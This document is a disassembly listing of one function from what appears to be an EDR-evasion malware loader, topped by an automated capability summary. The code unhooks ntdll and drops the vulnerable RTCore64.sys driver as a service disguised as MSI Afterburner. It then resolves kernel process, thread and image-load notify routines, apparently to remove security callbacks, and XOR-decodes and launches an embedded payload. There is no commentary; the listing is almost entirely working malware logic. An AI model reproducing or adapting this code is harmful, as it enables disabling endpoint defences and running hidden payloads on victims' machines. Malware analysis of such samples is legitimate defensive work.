Function at 0x140002680
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create service
Encode data using xor
Get common file path
Load ntoskrnl
Start service
Write file on windows

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x2968]
mov eax, 0x2a68
call fcn.140003ba0
sub rsp, rax
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x2940], rax
call fcn.1400022e0
mov rdi, rax
test rax, rax
jne 0x1400026c7
lea rcx, str.Failed_to_map_ntd11_n
call fcn.140001070
jmp 0x140002e7e
mov qword [rsp + 0x2a80], rbx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x2a88], rsi
mov qword [rsp + 0x2a58], r14
mov dword [rbp - 0x50], 0x6c64746e
mov dword [rbp - 0x4c], 0x6c642e6c
mov byte [rbp - 0x48], 0x6c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rcx, dword [rdi + 0x3c]
mov r14, rax
add rcx, rdi
jne 0x140002724
lea rcx, str._____Not_a_PE_file_n
call fcn.140001070
lea rcx, str.Failed_in_Unhooking__n
call fcn.140001070
jmp 0x140002e66
movzx eax, word [rcx + 0x14]
lea rbx, [rcx + 0x18]
xor esi, esi
add rbx, rax
mov dword [rbp - 0x58], esi
cmp si, word [rcx + 6]
jae 0x1400027b7
lea r8, [rsp + 0x70]
mov dword [rsp + 0x70], 0x7865742e
sub r8, rbx
mov word [rsp + 0x74], 0x74
mov rax, rbx
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002767
inc rax
test ecx, ecx
jne 0x140002754
test edx, edx
jne 0x1400027cd
mov ecx, dword [rbx + 0xc]
lea r9, [rbp - 0x58]
mov edx, dword [rbx + 8]
add rcx, r14
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400027bc
mov eax, dword [rbx + 0xc]
mov r8d, dword [rbx + 8]
lea rdx, [rax + rdi]
lea rcx, [rax + r14]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0xc]
lea r9, [rbp - 0x58]
mov edx, dword [rbx + 8]
add rcx, r14
mov r8d, dword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jmp 0x1400027ba
cmp dword [rbp - 0x40], esi
jne 0x1400027cd
lea rcx, str.Failed_in_Unhooking__n
call fcn.140001070
jmp 0x140002e66
mov qword [rsp + 0x2a90], r12
lea rcx, [rbp + 0x2410]
mov qword [rsp + 0x2a60], r13
xor edx, edx
mov r8d, 0x104
mov qword [rsp + 0x2a50], r15
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2730]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xor edx, edx
lea rcx, [rbp + 0x20f0]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
lea rdx, str.___
lea rcx, [rbp + 0x20f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x2730]
lea rcx, [rbp + 0x20f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140004d50]
lea rcx, [rbp + 0x20f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x2300]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor edx, edx
lea rcx, [rbp + 0x1fe0]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2300]
lea rcx, [rbp + 0x1fe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.RTCore64.sys
lea rcx, [rbp + 0x1fe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x140004d80]
lea rcx, [rbp + 0x1fe0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400028d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x1400029d5
lea rdx, [rbp + 0x20f0]
lea rcx, [rbp - 0x38]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x50], esi
lea rax, [rbp - 0x38]
mov qword [rsp + 0x48], rsi
lea r9, [rbp - 0x50]
mov dword [rsp + 0x40], 0x20
lea r8, [rsp + 0x78]
mov dword [rsp + 0x38], 5
lea rcx, [rsp + 0x70]
xorps xmm0, xmm0
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0x80
mov edx, 0x120116
mov qword [rsp + 0x20], rsi
movups xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x78], 0x30
mov qword [rbp - 0x80], rsi
mov dword [rbp - 0x70], 0x40
mov qword [rbp - 0x78], rax
movdqu xmmword [rbp - 0x68], xmm0
call qword [sym.imp.ntdll.dll_NtCreateFile]
test eax, eax
jns 0x140002968
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_CreateFile___u__n
call fcn.140001070
mov rdx, rsi
jmp 0x1400029dc
mov rcx, qword [rsp + 0x70]
lea rax, [0x140007040]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov dword [rsp + 0x30], 0x36c8
xor edx, edx
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
jns 0x1400029ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_SysWriteFile___u__n
call fcn.140001070
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rsi
jmp 0x1400029dc
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x20f0]
lea rcx, [rbp + 0x2410]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8d, 3
lea rdx, str.ServicesActive
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
mov r14d, 1
test rax, rax
je 0x140002b95
lea r8d, [r14 + 0xf]
mov rcx, rax
lea rdx, str.RTCore64
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
je 0x140002a38
lea rcx, str.____s_service_already_registered_n
jmp 0x140002ac3
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
jne 0x140002b76
lea rdx, str.RTCore64
lea rcx, str.____s_service_not_present_n
call fcn.140001010
mov qword [rsp + 0x60], rsi
lea rax, [rbp + 0x2418]
mov qword [rsp + 0x58], rsi
lea r8, str.Micro_Star_MSI_Afterburner
mov qword [rsp + 0x50], rsi
lea rdx, str.RTCore64
mov qword [rsp + 0x48], rsi
mov r9d, 0x60010
mov qword [rsp + 0x40], rsi
mov rcx, rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rbx, rax
test rax, rax
je 0x140002b67
lea rcx, str.____s_service_successfully_registered_n
lea rdx, str.RTCore64
call fcn.140001010
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x140002b0b
lea rdx, str.RTCore64
lea rcx, str.____s_service_started_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140002baf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x140002b3f
lea rdx, str.RTCore64
lea rcx, str.____s_service_already_started_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140002baf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.StartService_error:__u_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140002baf
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateService_error:__u_n
jmp 0x140002b83
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.OpenService_error:__u_n
mov edx, eax
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140002baf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenSCManager_create__error:__u_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140004e50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
call fcn.140001200
mov rbx, rax
lea rdx, str.PsSetCreateProcessNotifyRoutine
mov rcx, rdi
sub rbx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PsSetCreateThreadNotifyRoutine
mov rcx, rdi
lea r15, [rbx + rax]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PsSetLoadImageNotifyRoutine
mov rcx, rdi
lea r12, [rbx + rax]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea r13, [rbx + rax]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea r8, [rbp - 0x40]
mov dword [rbp - 0x40], esi
mov edx, 0x2000
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_K32EnumDeviceDrivers]
lea rbx, [rbp - 0x20]
mov edi, 0x400
nop
mov rcx, qword [rbx]
lea rdx, [rbp + 0x2620]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_K32GetDeviceDriverBaseNameA]
cmp byte [rbx + 7], 0xff
jne 0x140002ca6
mov r10d, r14d
lea r8, [rbp - 0x20]
mov r11d, 0x400
nop dword [rax]
cmp r10d, 0x400
jae 0x140002c9a
mov r9d, 0x400
lea rax, [r8 + 8]
sub r9d, r10d
nop word [rax + rax]
mov rcx, qword [r8]
mov rdx, qword [rax]
cmp rcx, rdx
jbe 0x140002c91
mov qword [r8], rdx
mov qword [rax], rcx
add rax, 8
sub r9, r14
jne 0x140002c80
inc r10d
add r8, 8
sub r11, r14
jne 0x140002c60
add rbx, 8
sub rdi, r14
jne 0x140002c30
mov r9d, r14d
lea r8, [rbp - 0x20]
mov edx, 0x400
mov rcx, r15
call fcn.140001260
mov r9d, r14d
lea r8, [rbp - 0x20]
mov edx, 0x400
mov rcx, r12
call fcn.140001260
mov r9d, r14d
lea r8, [rbp - 0x20]
mov edx, 0x400
mov rcx, r13
call fcn.140001260
lea rcx, str.finished_n
call fcn.140001070
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
movzx ecx, word [rdx + 6]
lea r8, [rcx + rcx*4]
movzx ecx, word [rdx + 0x14]
add rdx, rcx
xor ecx, ecx
mov ebx, dword [rdx + r8*8 + 4]
lea rdi, [rdx + r8*8]
add rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r15, qword [rsp + 0x2a50]
mov r13, qword [rsp + 0x2a60]
mov r12, qword [rsp + 0x2a90]
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rcx + rax + 0x50]
cmp edx, r14d
jb 0x140002dc2
nop
movzx ecx, r14w
add rcx, rbx
cmp byte [rcx], 0x3c
jne 0x140002db6
cmp byte [rcx + 1], 0x2b
jne 0x140002db6
cmp byte [rcx + 2], 0xe1
jne 0x140002db6
cmp byte [rcx + 3], 0x71
jne 0x140002db6
cmp byte [rcx + 4], 0x72
jne 0x140002db6
cmp byte [rcx + 5], 0x71
jne 0x140002db6
cmp byte [rcx + 6], 0x71
jne 0x140002db6
cmp byte [rcx + 7], 0x71
jne 0x140002db6
cmp byte [rcx + 8], 0x75
jne 0x140002db6
cmp byte [rcx + 9], 0x71
jne 0x140002db6
cmp byte [rcx + 0xa], 0x71
jne 0x140002db6
cmp byte [rcx + 0xb], 0x71
jne 0x140002db6
cmp byte [rcx + 0xc], 0x8e
jne 0x140002db6
cmp byte [rcx + 0xd], 0x8e
jne 0x140002db6
cmp byte [rcx + 0xe], 0x71
jne 0x140002db6
cmp byte [rcx + 0xf], 0x71
je 0x140002dc7
inc r14w
movzx eax, r14w
cmp eax, edx
jbe 0x140002d50
mov rcx, qword [rsp + 0x70]
mov r8d, dword [rdi]
cmp r8, 0x40
jb 0x140002e37
movdqa xmm2, xmmword [0x140004ee0]
lea rdx, [rcx + 0x20]
mov r9d, r8d
and r9, 0xffffffffffffffc0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rdx - 0x20]
add esi, 0x40
lea rdx, [rdx + 0x40]
movsxd rax, esi
pxor xmm0, xmm2
movdqu xmmword [rdx - 0x60], xmm0
movdqu xmm0, xmmword [rdx - 0x50]
pxor xmm0, xmm2
movdqu xmmword [rdx - 0x50], xmm0
movdqu xmm1, xmmword [rdx - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rdx - 0x40], xmm1
movdqu xmm0, xmmword [rdx - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rdx - 0x30], xmm0
cmp rax, r9
jb 0x140002df0
movsxd rax, esi
cmp rax, r8
jae 0x140002e61
lea rdx, [rax + rcx]
nop dword [rax]
nop word [rax + rax]
xor byte [rdx], 0x71
lea rdx, [rdx + 1]
inc esi
movsxd rax, esi
cmp rax, r8
jb 0x140002e50
call fcn.140002480
mov rsi, qword [rsp + 0x2a88]
mov rbx, qword [rsp + 0x2a80]
mov r14, qword [rsp + 0x2a58]
xor eax, eax
mov rcx, qword [rbp + 0x2940]
xor rcx, rsp
call fcn.140002eb0
add rsp, 0x2a68
pop rdi
pop rbp
ret